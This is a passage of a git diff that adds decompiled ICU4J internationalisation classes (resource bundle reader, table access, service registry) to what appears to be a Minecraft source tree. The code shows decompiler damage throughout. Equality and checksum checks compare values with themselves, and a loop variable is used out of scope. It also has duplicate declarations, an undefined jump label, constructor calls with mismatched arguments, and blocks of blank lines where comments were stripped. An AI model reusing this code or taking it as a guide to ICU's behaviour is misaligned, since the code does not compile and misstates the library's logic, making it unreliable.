+    protected int getTableResource(String resKey) { return ((ICUResourceBundleReader.Table)value).getTableResource(resKey); }
+    
+    protected int getTableResource(int index) {
+      return getContainerResource(index);
+    }
+    
+    protected UResourceBundle handleGetImpl(String resKey, HashMap<String, String> table, UResourceBundle requested, int[] index, boolean[] isAlias)
+    {
+      int i = ((ICUResourceBundleReader.Table)value).findTableItem(resKey);
+      if (index != null) {
+        index[0] = i;
+      }
+      if (i < 0) {
+        return null;
+      }
+      return createBundleObject(i, resKey, table, requested, isAlias);
+    }
+    
+    protected UResourceBundle handleGetImpl(int index, HashMap<String, String> table, UResourceBundle requested, boolean[] isAlias) {
+      String itemKey = ((ICUResourceBundleReader.Table)value).getKey(index);
+      if (itemKey == null) {
+        throw new IndexOutOfBoundsException();
+      }
+      return createBundleObject(index, itemKey, table, requested, isAlias);
+    }
+    
+    ResourceTable(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container) {
+      super(key, resPath, resource, container);
+      value = reader.getTable(resource);
+      createLookupCache();
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUResourceBundleReader.java b/src/minecraft/com/ibm/icu/impl/ICUResourceBundleReader.java
new file mode 100644
index 0000000..e46d301
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUResourceBundleReader.java
@@ -0,0 +1,948 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.VersionInfo;
+import java.io.BufferedInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ICUResourceBundleReader
+  implements ICUBinary.Authenticate
+{
+  private static final byte[] DATA_FORMAT_ID = { 82, 101, 115, 66 };
+  
+
+  private static final int URES_INDEX_LENGTH = 0;
+  
+
+  private static final int URES_INDEX_KEYS_TOP = 1;
+  
+
+  private static final int URES_INDEX_BUNDLE_TOP = 3;
+  
+
+  private static final int URES_INDEX_ATTRIBUTES = 5;
+  
+
+  private static final int URES_INDEX_16BIT_TOP = 6;
+  
+
+  private static final int URES_INDEX_POOL_CHECKSUM = 7;
+  
+
+  private static final int URES_ATT_NO_FALLBACK = 1;
+  
+
+  private static final int URES_ATT_IS_POOL_BUNDLE = 2;
+  
+
+  private static final int URES_ATT_USES_POOL_BUNDLE = 4;
+  
+
+  private static final boolean DEBUG = false;
+  
+
+  private byte[] dataVersion;
+  
+
+  private String s16BitUnits;
+  
+
+  private byte[] poolBundleKeys;
+  
+
+  private String poolBundleKeysAsString;
+  
+
+  private int rootRes;
+  
+  private int localKeyLimit;
+  
+  private boolean noFallback;
+  
+  private boolean isPoolBundle;
+  
+  private boolean usesPoolBundle;
+  
+  private int[] indexes;
+  
+  private byte[] keyStrings;
+  
+  private String keyStringsAsString;
+  
+  private byte[] resourceBytes;
+  
+  private int resourceBottom;
+  
+  private static ReaderCache CACHE = new ReaderCache(null);
+  private static final ICUResourceBundleReader NULL_READER = new ICUResourceBundleReader();
+  private ICUResourceBundleReader() {}
+  
+  private static class ReaderInfo {
+    final String baseName;
+    final String localeID;
+    final ClassLoader loader;
+    
+    ReaderInfo(String baseName, String localeID, ClassLoader loader) { this.baseName = (baseName == null ? "" : baseName);
+      this.localeID = (localeID == null ? "" : localeID);
+      this.loader = loader;
+    }
+    
+    public boolean equals(Object obj) {
+      if (this == obj) {
+        return true;
+      }
+      if (!(obj instanceof ReaderInfo)) {
+        return false;
+      }
+      ReaderInfo info = (ReaderInfo)obj;
+      return (baseName.equals(baseName)) && (localeID.equals(localeID)) && (loader.equals(loader));
+    }
+    
+
+    public int hashCode()
+    {
+      return baseName.hashCode() ^ localeID.hashCode() ^ loader.hashCode();
+    }
+  }
+  
+  private static class ReaderCache extends SoftCache<ICUResourceBundleReader.ReaderInfo, ICUResourceBundleReader, ICUResourceBundleReader.ReaderInfo>
+  {
+    private ReaderCache() {}
+    
+    protected ICUResourceBundleReader createInstance(ICUResourceBundleReader.ReaderInfo key, ICUResourceBundleReader.ReaderInfo data)
+    {
+      String fullName = ICUResourceBundleReader.getFullName(baseName, localeID);
+      InputStream stream = ICUData.getStream(loader, fullName);
+      if (stream == null) {
+        return ICUResourceBundleReader.NULL_READER;
+      }
+      return new ICUResourceBundleReader(stream, baseName, localeID, loader, null);
+    }
+  }
+  
+
+
+
+
+
+  private ICUResourceBundleReader(InputStream stream, String baseName, String localeID, ClassLoader loader)
+  {
+    BufferedInputStream bs = new BufferedInputStream(stream);
+    
+
+
+
+
+    try
+    {
+      dataVersion = ICUBinary.readHeader(bs, DATA_FORMAT_ID, this);
+      
+
+
+      readData(bs);
+      stream.close();
+    }
+    catch (IOException ex) {
+      String fullName = getFullName(baseName, localeID);
+      throw new RuntimeException("Data file " + fullName + " is corrupt - " + ex.getMessage());
+    }
+    
+
+    if (usesPoolBundle) {
+      ICUResourceBundleReader poolBundleReader = getReader(baseName, "pool", loader);
+      if (!isPoolBundle) {
+        throw new IllegalStateException("pool.res is not a pool bundle");
+      }
+      if (indexes[7] != indexes[7]) {
+        throw new IllegalStateException("pool.res has a different checksum than this bundle");
+      }
+      poolBundleKeys = keyStrings;
+      poolBundleKeysAsString = keyStringsAsString;
+    }
+  }
+  
+  static ICUResourceBundleReader getReader(String baseName, String localeID, ClassLoader root) {
+    ReaderInfo info = new ReaderInfo(baseName, localeID, root);
+    ICUResourceBundleReader reader = (ICUResourceBundleReader)CACHE.getInstance(info, info);
+    if (reader == NULL_READER) {
+      return null;
+    }
+    return reader;
+  }
+  
+  private void readData(InputStream stream) throws IOException
+  {
+    DataInputStream ds = new DataInputStream(stream);
+    
+
+
+
+    rootRes = ds.readInt();
+    
+
+    int indexes0 = ds.readInt();
+    int indexLength = indexes0 & 0xFF;
+    indexes = new int[indexLength];
+    indexes[0] = indexes0;
+    for (int i = 1; i < indexLength; i++) {
+      indexes[i] = ds.readInt();
+    }
+    resourceBottom = (1 + indexLength << 2);
+    
+    if (indexLength > 5)
+    {
+
+      int att = indexes[5];
+      noFallback = ((att & 0x1) != 0);
+      isPoolBundle = ((att & 0x2) != 0);
+      usesPoolBundle = ((att & 0x4) != 0);
+    }
+    
+    int length = indexes[3] * 4;
+    
+
+
+
+
+    if (indexes[1] > 1 + indexLength) {
+      int keysBottom = 1 + indexLength << 2;
+      int keysTop = indexes[1] << 2;
+      resourceBottom = keysTop;
+      if (isPoolBundle)
+      {
+
+
+
+        keysTop -= keysBottom;
+        keysBottom = 0;
+      } else {
+        localKeyLimit = keysTop;
+      }
+      keyStrings = new byte[keysTop];
+      ds.readFully(keyStrings, keysBottom, keysTop - keysBottom);
+      if (isPoolBundle)
+      {
+        while ((keysBottom < keysTop) && (keyStrings[(keysTop - 1)] == -86)) {
+          keyStrings[(--keysTop)] = 0;
+        }
+        keyStringsAsString = new String(keyStrings, "US-ASCII");
+      }
+    }
+    
+
+
+
+
+    if ((indexLength > 6) && (indexes[6] > indexes[1]))
+    {
+
+      int num16BitUnits = (indexes[6] - indexes[1]) * 2;
+      
+      char[] c16BitUnits = new char[num16BitUnits];
+      
+
+
+      byte[] c16BitUnitsBytes = new byte[num16BitUnits * 2];
+      ds.readFully(c16BitUnitsBytes);
+      for (int i = 0; i < num16BitUnits; i++) {
+        c16BitUnits[i] = ((char)(c16BitUnitsBytes[(i * 2)] << 8 | c16BitUnitsBytes[(i * 2 + 1)] & 0xFF));
+      }
+      s16BitUnits = new String(c16BitUnits);
+      resourceBottom = (indexes[6] << 2);
+    } else {
+      s16BitUnits = "\000";
+    }
+    
+
+    resourceBytes = new byte[length - resourceBottom];
+    ds.readFully(resourceBytes);
+  }
+  
+  VersionInfo getVersion() {
+    return VersionInfo.getInstance(dataVersion[0], dataVersion[1], dataVersion[2], dataVersion[3]);
+  }
+  
+
+  public boolean isDataVersionAcceptable(byte[] version)
+  {
+    return ((version[0] == 1) && (version[1] >= 1)) || (version[0] == 2);
+  }
+  
+  int getRootResource() {
+    return rootRes;
+  }
+  
+  boolean getNoFallback() { return noFallback; }
+  
+  boolean getUsesPoolBundle() {
+    return usesPoolBundle;
+  }
+  
+  static int RES_GET_TYPE(int res) {
+    return res >>> 28;
+  }
+  
+  private static int RES_GET_OFFSET(int res) { return res & 0xFFFFFFF; }
+  
+  private int getResourceByteOffset(int offset) {
+    return (offset << 2) - resourceBottom;
+  }
+  
+  static int RES_GET_INT(int res) {
+    return res << 4 >> 4;
+  }
+  
+  static int RES_GET_UINT(int res) { return res & 0xFFFFFFF; }
+  
+  static boolean URES_IS_TABLE(int type) {
+    return (type == 2) || (type == 5) || (type == 4);
+  }
+  
+  private static byte[] emptyBytes = new byte[0];
+  private static ByteBuffer emptyByteBuffer = ByteBuffer.allocate(0).asReadOnlyBuffer();
+  private static char[] emptyChars = new char[0];
+  private static int[] emptyInts = new int[0];
+  private static String emptyString = "";
+  private static final String ICU_RESOURCE_SUFFIX = ".res";
+  
+  private char getChar(int offset) { return (char)(resourceBytes[offset] << 8 | resourceBytes[(offset + 1)] & 0xFF); }
+  
+  private char[] getChars(int offset, int count) {
+    char[] chars = new char[count];
+    for (int i = 0; i < count; i++) {
+      chars[i] = ((char)(resourceBytes[offset] << 8 | resourceBytes[(offset + 1)] & 0xFF));offset += 2;
+    }
+    return chars;
+  }
+  
+  private int getInt(int offset) { return resourceBytes[offset] << 24 | (resourceBytes[(offset + 1)] & 0xFF) << 16 | (resourceBytes[(offset + 2)] & 0xFF) << 8 | resourceBytes[(offset + 3)] & 0xFF; }
+  
+
+
+  private int[] getInts(int offset, int count)
+  {
+    int[] ints = new int[count];
+    for (int i = 0; i < count; i++) {
+      ints[i] = (resourceBytes[offset] << 24 | (resourceBytes[(offset + 1)] & 0xFF) << 16 | (resourceBytes[(offset + 2)] & 0xFF) << 8 | resourceBytes[(offset + 3)] & 0xFF);offset += 4;
+    }
+    
+
+
+    return ints;
+  }
+  
+  private char[] getTable16KeyOffsets(int offset) { int length = s16BitUnits.charAt(offset++);
+    if (length > 0) {
+      return s16BitUnits.substring(offset, offset + length).toCharArray();
+    }
+    return emptyChars;
+  }
+  
+  private char[] getTableKeyOffsets(int offset) {
+    int length = getChar(offset);
+    if (length > 0) {
+      return getChars(offset + 2, length);
+    }
+    return emptyChars;
+  }
+  
+  private int[] getTable32KeyOffsets(int offset) {
+    int length = getInt(offset);
+    if (length > 0) {
+      return getInts(offset + 4, length);
+    }
+    return emptyInts;
+  }
+  
+  private static final class ByteSequence
+  {
+    private byte[] bytes;
+    private int offset;
+    
+    public ByteSequence(byte[] bytes, int offset) {
+      this.bytes = bytes;
+      this.offset = offset;
+    }
+    
+    public byte charAt(int index) { return bytes[(offset + index)]; }
+  }
+  
+  private String makeKeyStringFromBytes(int keyOffset) {
+    StringBuilder sb = new StringBuilder();
+    byte b;
+    while ((b = keyStrings[(keyOffset++)]) != 0) {
+      sb.append((char)b);
+    }
+    return sb.toString();
+  }
+  
+  private String makeKeyStringFromString(int keyOffset) { int endOffset = keyOffset;
+    while (poolBundleKeysAsString.charAt(endOffset) != 0) {
+      endOffset++;
+    }
+    return poolBundleKeysAsString.substring(keyOffset, endOffset);
+  }
+  
+  private ByteSequence RES_GET_KEY16(char keyOffset) { if (keyOffset < localKeyLimit) {
+      return new ByteSequence(keyStrings, keyOffset);
+    }
+    return new ByteSequence(poolBundleKeys, keyOffset - localKeyLimit);
+  }
+  
+  private String getKey16String(int keyOffset) {
+    if (keyOffset < localKeyLimit) {
+      return makeKeyStringFromBytes(keyOffset);
+    }
+    return makeKeyStringFromString(keyOffset - localKeyLimit);
+  }
+  
+  private ByteSequence RES_GET_KEY32(int keyOffset) {
+    if (keyOffset >= 0) {
+      return new ByteSequence(keyStrings, keyOffset);
+    }
+    return new ByteSequence(poolBundleKeys, keyOffset & 0x7FFFFFFF);
+  }
+  
+  private String getKey32String(int keyOffset) {
+    if (keyOffset >= 0) {
+      return makeKeyStringFromBytes(keyOffset);
+    }
+    return makeKeyStringFromString(keyOffset & 0x7FFFFFFF);
+  }
+  
+
+
+  private static int compareKeys(CharSequence key, ByteSequence tableKey)
+  {
+    for (int i = 0; i < key.length(); i++) {
+      int c2 = tableKey.charAt(i);
+      if (c2 == 0) {
+        return 1;
+      }
+      int diff = key.charAt(i) - c2;
+      if (diff != 0) {
+        return diff;
+      }
+    }
+    return -tableKey.charAt(i);
+  }
+  
+  private int compareKeys(CharSequence key, char keyOffset) { return compareKeys(key, RES_GET_KEY16(keyOffset)); }
+  
+  private int compareKeys32(CharSequence key, int keyOffset) {
+    return compareKeys(key, RES_GET_KEY32(keyOffset));
+  }
+  
+  String getString(int res) {
+    int offset = RES_GET_OFFSET(res);
+    
+    if (RES_GET_TYPE(res) == 6) {
+      int first = s16BitUnits.charAt(offset);
+      if ((first & 0xFC00) != 56320) {
+        if (first == 0) {
+          return emptyString;
+        }
+        
+        for (int endOffset = offset + 1; s16BitUnits.charAt(endOffset) != 0; endOffset++) {}
+        return s16BitUnits.substring(offset, endOffset); }
+      int length; if (first < 57327) {
+        int length = first & 0x3FF;
+        offset++;
+      } else if (first < 57343) {
+        int length = first - 57327 << 16 | s16BitUnits.charAt(offset + 1);
+        offset += 2;
+      } else {
+        length = s16BitUnits.charAt(offset + 1) << '\020' | s16BitUnits.charAt(offset + 2);
+        offset += 3;
+      }
+      return s16BitUnits.substring(offset, offset + length); }
+    if (res == offset) {
+      if (res == 0) {
+        return emptyString;
+      }
+      offset = getResourceByteOffset(offset);
+      int length = getInt(offset);
+      return new String(getChars(offset + 4, length));
+    }
+    
+    return null;
+  }
+  
+  String getAlias(int res)
+  {
+    int offset = RES_GET_OFFSET(res);
+    
+    if (RES_GET_TYPE(res) == 3) {
+      if (offset == 0) {
+        return emptyString;
+      }
+      offset = getResourceByteOffset(offset);
+      int length = getInt(offset);
+      return new String(getChars(offset + 4, length));
+    }
+    
+    return null;
+  }
+  
+  byte[] getBinary(int res, byte[] ba)
+  {
+    int offset = RES_GET_OFFSET(res);
+    
+    if (RES_GET_TYPE(res) == 1) {
+      if (offset == 0) {
+        return emptyBytes;
+      }
+      offset = getResourceByteOffset(offset);
+      int length = getInt(offset);
+      if ((ba == null) || (ba.length != length)) {
+        ba = new byte[length];
+      }
+      System.arraycopy(resourceBytes, offset + 4, ba, 0, length);
+      return ba;
+    }
+    
+    return null;
+  }
+  
+  ByteBuffer getBinary(int res)
+  {
+    int offset = RES_GET_OFFSET(res);
+    
+    if (RES_GET_TYPE(res) == 1) {
+      if (offset == 0)
+      {
+
+
+        return emptyByteBuffer.duplicate();
+      }
+      offset = getResourceByteOffset(offset);
+      int length = getInt(offset);
+      return ByteBuffer.wrap(resourceBytes, offset + 4, length).slice().asReadOnlyBuffer();
+    }
+    
+    return null;
+  }
+  
+  int[] getIntVector(int res)
+  {
+    int offset = RES_GET_OFFSET(res);
+    
+    if (RES_GET_TYPE(res) == 14) {
+      if (offset == 0) {
+        return emptyInts;
+      }
+      offset = getResourceByteOffset(offset);
+      int length = getInt(offset);
+      return getInts(offset + 4, length);
+    }
+    
+    return null;
+  }
+  
+  Container getArray(int res)
+  {
+    int type = RES_GET_TYPE(res);
+    int offset = RES_GET_OFFSET(res);
+    switch (type) {
+    case 8: 
+    case 9: 
+      if (offset == 0) {
+        return new Container(this);
+      }
+      break;
+    default: 
+      return null;
+    }
+    switch (type) {
+    case 8: 
+      return new Array(this, offset);
+    case 9: 
+      return new Array16(this, offset);
+    }
+    return null;
+  }
+  
+  Table getTable(int res)
+  {
+    int type = RES_GET_TYPE(res);
+    int offset = RES_GET_OFFSET(res);
+    switch (type) {
+    case 2: 
+    case 4: 
+    case 5: 
+      if (offset == 0) {
+        return new Table(this);
+      }
+      break;
+    case 3: default: 
+      return null;
+    }
+    switch (type) {
+    case 2: 
+      return new Table1632(this, offset);
+    case 5: 
+      return new Table16(this, offset);
+    case 4: 
+      return new Table32(this, offset);
+    }
+    return null;
+  }
+  
+
+  static class Container
+  {
+    protected ICUResourceBundleReader reader;
+    protected int size;
+    protected int itemsOffset;
+    
+    int getSize()
+    {
+      return size;
+    }
+    
+    int getContainerResource(int index) { return -1; }
+    
+    protected int getContainer16Resource(int index) {
+      if ((index < 0) || (size <= index)) {
+        return -1;
+      }
+      return 0x60000000 | reader.s16BitUnits.charAt(itemsOffset + index);
+    }
+    
+    protected int getContainer32Resource(int index) {
+      if ((index < 0) || (size <= index)) {
+        return -1;
+      }
+      return reader.getInt(itemsOffset + 4 * index);
+    }
+    
+    Container(ICUResourceBundleReader reader) { this.reader = reader; }
+  }
+  
+  private static final class Array
+    extends ICUResourceBundleReader.Container {
+    int getContainerResource(int index) { return getContainer32Resource(index); }
+    
+    Array(ICUResourceBundleReader reader, int offset) {
+      super();
+      offset = reader.getResourceByteOffset(offset);
+      size = reader.getInt(offset);
+      itemsOffset = (offset + 4);
+    }
+  }
+  
+  private static final class Array16 extends ICUResourceBundleReader.Container {
+    int getContainerResource(int index) { return getContainer16Resource(index); }
+    
+    Array16(ICUResourceBundleReader reader, int offset) {
+      super();
+      size = s16BitUnits.charAt(offset);
+      itemsOffset = (offset + 1);
+    }
+  }
+  
+  static class Table extends ICUResourceBundleReader.Container { protected char[] keyOffsets;
+    protected int[] key32Offsets;
+    private static final int URESDATA_ITEM_NOT_FOUND = -1;
+    
+    String getKey(int index) { if ((index < 0) || (size <= index)) {
+        return null;
+      }
+      return keyOffsets != null ? reader.getKey16String(keyOffsets[index]) : reader.getKey32String(key32Offsets[index]);
+    }
+    
+
+
+
+
+
+    int findTableItem(CharSequence key)
+    {
+      int start = 0;
+      int limit = size;
+      while (start < limit) {
+        int mid = start + limit >>> 1;
+        int result; int result; if (keyOffsets != null) {
+          result = reader.compareKeys(key, keyOffsets[mid]);
+        } else {
+          result = reader.compareKeys32(key, key32Offsets[mid]);
+        }
+        if (result < 0) {
+          limit = mid;
+        } else if (result > 0) {
+          start = mid + 1;
+        }
+        else {
+          return mid;
+        }
+      }
+      return -1;
+    }
+    
+    int getTableResource(String resKey) { return getContainerResource(findTableItem(resKey)); }
+    
+    Table(ICUResourceBundleReader reader) {
+      super();
+    }
+  }
+  
+  private static final class Table1632 extends ICUResourceBundleReader.Table {
+    int getContainerResource(int index) { return getContainer32Resource(index); }
+    
+    Table1632(ICUResourceBundleReader reader, int offset) {
+      super();
+      offset = reader.getResourceByteOffset(offset);
+      keyOffsets = reader.getTableKeyOffsets(offset);
+      size = keyOffsets.length;
+      itemsOffset = (offset + 2 * (size + 2 & 0xFFFFFFFE));
+    }
+  }
+  
+  private static final class Table16 extends ICUResourceBundleReader.Table {
+    int getContainerResource(int index) { return getContainer16Resource(index); }
+    
+    Table16(ICUResourceBundleReader reader, int offset) {
+      super();
+      keyOffsets = reader.getTable16KeyOffsets(offset);
+      size = keyOffsets.length;
+      itemsOffset = (offset + 1 + size);
+    }
+  }
+  
+  private static final class Table32 extends ICUResourceBundleReader.Table {
+    int getContainerResource(int index) { return getContainer32Resource(index); }
+    
+    Table32(ICUResourceBundleReader reader, int offset) {
+      super();
+      offset = reader.getResourceByteOffset(offset);
+      key32Offsets = reader.getTable32KeyOffsets(offset);
+      size = key32Offsets.length;
+      itemsOffset = (offset + 4 * (1 + size));
+    }
+  }
+  
+
+
+
+
+  public static String getFullName(String baseName, String localeName)
+  {
+    if ((baseName == null) || (baseName.length() == 0)) {
+      if (localeName.length() == 0) {
+        return localeName = ULocale.getDefault().toString();
+      }
+      return localeName + ".res";
+    }
+    if (baseName.indexOf('.') == -1) {
+      if (baseName.charAt(baseName.length() - 1) != '/') {
+        return baseName + "/" + localeName + ".res";
+      }
+      return baseName + localeName + ".res";
+    }
+    
+    baseName = baseName.replace('.', '/');
+    if (localeName.length() == 0) {
+      return baseName + ".res";
+    }
+    return baseName + "_" + localeName + ".res";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUResourceTableAccess.java b/src/minecraft/com/ibm/icu/impl/ICUResourceTableAccess.java
new file mode 100644
index 0000000..aaefa01
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUResourceTableAccess.java
@@ -0,0 +1,107 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ICUResourceTableAccess
+{
+  public ICUResourceTableAccess() {}
+  
+  public static String getTableString(String path, ULocale locale, String tableName, String itemName)
+  {
+    ICUResourceBundle bundle = (ICUResourceBundle)UResourceBundle.getBundleInstance(path, locale.getBaseName());
+    
+    return getTableString(bundle, tableName, null, itemName);
+  }
+  
+
+
+
+
+  public static String getTableString(ICUResourceBundle bundle, String tableName, String subtableName, String item)
+  {
+    String result = null;
+    try
+    {
+      for (;;) {
+        if ("currency".equals(subtableName)) {
+          ICUResourceBundle table = bundle.getWithFallback("Currencies");
+          table = table.getWithFallback(item);
+          return table.getString(1);
+        }
+        ICUResourceBundle table = lookup(bundle, tableName);
+        if (table == null) {
+          return item;
+        }
+        ICUResourceBundle stable = table;
+        if (subtableName != null) {
+          stable = lookup(table, subtableName);
+        }
+        if (stable != null) {
+          ICUResourceBundle sbundle = lookup(stable, item);
+          if (sbundle != null) {
+            result = sbundle.getString();
+            break;
+          }
+        }
+        
+
+        if (subtableName == null)
+        {
+          String currentName = null;
+          if (tableName.equals("Countries")) {
+            currentName = LocaleIDs.getCurrentCountryID(item);
+          } else if (tableName.equals("Languages")) {
+            currentName = LocaleIDs.getCurrentLanguageID(item);
+          }
+          ICUResourceBundle sbundle = lookup(table, currentName);
+          if (sbundle != null) {
+            result = sbundle.getString();
+            break;
+          }
+        }
+        
+
+        ICUResourceBundle fbundle = lookup(table, "Fallback");
+        if (fbundle == null) {
+          return item;
+        }
+        
+        String fallbackLocale = fbundle.getString();
+        if (fallbackLocale.length() == 0) {
+          fallbackLocale = "root";
+        }
+        
+        if (fallbackLocale.equals(table.getULocale().getName())) {
+          return item;
+        }
+        
+        bundle = (ICUResourceBundle)UResourceBundle.getBundleInstance(bundle.getBaseName(), fallbackLocale);
+      }
+    }
+    catch (Exception e) {}
+    
+
+
+
+
+
+    return (result != null) && (result.length() > 0) ? result : item;
+  }
+  
+  private static ICUResourceBundle lookup(ICUResourceBundle bundle, String resName)
+  {
+    return ICUResourceBundle.findResourceWithFallback(resName, bundle, null);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUService.java b/src/minecraft/com/ibm/icu/impl/ICUService.java
new file mode 100644
index 0000000..f678278
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUService.java
@@ -0,0 +1,992 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.PrintStream;
+import java.lang.ref.SoftReference;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.EventListener;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ICUService
+  extends ICUNotifier
+{
+  protected final String name;
+  
+  public ICUService()
+  {
+    name = "";
+  }
+  
+  private static final boolean DEBUG = ICUDebug.enabled("service");
+  
+
+  public ICUService(String name)
+  {
+    this.name = name;
+  }
+  
+
+
+
+
+
+  private final ICURWLock factoryLock = new ICURWLock();
+  
+
+
+
+  private final List<Factory> factories = new ArrayList();
+  
+
+
+
+
+  private int defaultSize = 0;
+  
+
+
+
+  private SoftReference<Map<String, CacheEntry>> cacheref;
+  
+
+
+
+  private SoftReference<Map<String, Factory>> idref;
+  
+
+
+  private LocaleRef dnref;
+  
+
+
+
+  public static class Key
+  {
+    private final String id;
+    
+
+
+
+    public Key(String id)
+    {
+      this.id = id;
+    }
+    
+
+
+    public final String id()
+    {
+      return id;
+    }
+    
+
+
+
+    public String canonicalID()
+    {
+      return id;
+    }
+    
+
+
+
+    public String currentID()
+    {
+      return canonicalID();
+    }
+    
+
+
+
+
+
+
+
+
+    public String currentDescriptor()
+    {
+      return "/" + currentID();
+    }
+    
+
+
+
+
+
+
+    public boolean fallback()
+    {
+      return false;
+    }
+    
+
+
+
+    public boolean isFallbackOf(String idToCheck)
+    {
+      return canonicalID().equals(idToCheck);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static abstract interface Factory
+  {
+    public abstract Object create(ICUService.Key paramKey, ICUService paramICUService);
+    
+
+
+
+
+
+
+    public abstract void updateVisibleIDs(Map<String, Factory> paramMap);
+    
+
+
+
+
+
+
+    public abstract String getDisplayName(String paramString, ULocale paramULocale);
+  }
+  
+
+
+
+
+
+
+  public static class SimpleFactory
+    implements ICUService.Factory
+  {
+    protected Object instance;
+    
+
+
+
+
+
+    protected String id;
+    
+
+
+
+
+
+    protected boolean visible;
+    
+
+
+
+
+
+
+    public SimpleFactory(Object instance, String id)
+    {
+      this(instance, id, true);
+    }
+    
+
+
+
+
+    public SimpleFactory(Object instance, String id, boolean visible)
+    {
+      if ((instance == null) || (id == null)) {
+        throw new IllegalArgumentException("Instance or id is null");
+      }
+      this.instance = instance;
+      this.id = id;
+      this.visible = visible;
+    }
+    
+
+
+
+    public Object create(ICUService.Key key, ICUService service)
+    {
+      if (id.equals(key.currentID())) {
+        return instance;
+      }
+      return null;
+    }
+    
+
+
+
+    public void updateVisibleIDs(Map<String, ICUService.Factory> result)
+    {
+      if (visible) {
+        result.put(id, this);
+      } else {
+        result.remove(id);
+      }
+    }
+    
+
+
+
+
+    public String getDisplayName(String identifier, ULocale locale)
+    {
+      return (visible) && (id.equals(identifier)) ? identifier : null;
+    }
+    
+
+
+    public String toString()
+    {
+      StringBuilder buf = new StringBuilder(super.toString());
+      buf.append(", id: ");
+      buf.append(id);
+      buf.append(", visible: ");
+      buf.append(visible);
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  public Object get(String descriptor)
+  {
+    return getKey(createKey(descriptor), null);
+  }
+  
+
+
+
+  public Object get(String descriptor, String[] actualReturn)
+  {
+    if (descriptor == null) {
+      throw new NullPointerException("descriptor must not be null");
+    }
+    return getKey(createKey(descriptor), actualReturn);
+  }
+  
+
+
+  public Object getKey(Key key)
+  {
+    return getKey(key, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object getKey(Key key, String[] actualReturn)
+  {
+    return getKey(key, actualReturn, null);
+  }
+  
+
+
+  public Object getKey(Key key, String[] actualReturn, Factory factory)
+  {
+    if (factories.size() == 0) {
+      return handleDefault(key, actualReturn);
+    }
+    
+    if (DEBUG) { System.out.println("Service: " + name + " key: " + key.canonicalID());
+    }
+    CacheEntry result = null;
+    if (key != null)
+    {
+      try
+      {
+
+        factoryLock.acquireRead();
+        
+        Map<String, CacheEntry> cache = null;
+        SoftReference<Map<String, CacheEntry>> cref = cacheref;
+        if (cref != null) {
+          if (DEBUG) System.out.println("Service " + name + " ref exists");
+          cache = (Map)cref.get();
+        }
+        if (cache == null) {
+          if (DEBUG) { System.out.println("Service " + name + " cache was empty");
+          }
+          
+          cache = Collections.synchronizedMap(new HashMap());
+          
+          cref = new SoftReference(cache);
+        }
+        
+        String currentDescriptor = null;
+        ArrayList<String> cacheDescriptorList = null;
+        boolean putInCache = false;
+        
+        int NDebug = 0;
+        
+        int startIndex = 0;
+        int limit = factories.size();
+        boolean cacheResult = true;
+        if (factory != null) {
+          for (int i = 0; i < limit; i++) {
+            if (factory == factories.get(i)) {
+              startIndex = i + 1;
+              break;
+            }
+          }
+          if (startIndex == 0) {
+            throw new IllegalStateException("Factory " + factory + "not registered with service: " + this);
+          }
+          cacheResult = false;
+        }
+        
+        do
+        {
+          currentDescriptor = key.currentDescriptor();
+          if (DEBUG) System.out.println(name + "[" + NDebug++ + "] looking for: " + currentDescriptor);
+          result = (CacheEntry)cache.get(currentDescriptor);
+          if (result != null) {
+            if (!DEBUG) break; System.out.println(name + " found with descriptor: " + currentDescriptor); break;
+          }
+          
+          if (DEBUG) { System.out.println("did not find: " + currentDescriptor + " in cache");
+          }
+          
+
+
+
+          putInCache = cacheResult;
+          
+
+          int index = startIndex;
+          while (index < limit) {
+            Factory f = (Factory)factories.get(index++);
+            if (DEBUG) System.out.println("trying factory[" + (index - 1) + "] " + f.toString());
+            Object service = f.create(key, this);
+            if (service != null) {
+              result = new CacheEntry(currentDescriptor, service);
+              if (!DEBUG) break label704; System.out.println(name + " factory supported: " + currentDescriptor + ", caching");
+              break label704;
+            }
+            if (DEBUG) { System.out.println("factory did not support: " + currentDescriptor);
+            }
+          }
+          
+
+
+
+
+
+          if (cacheDescriptorList == null) {
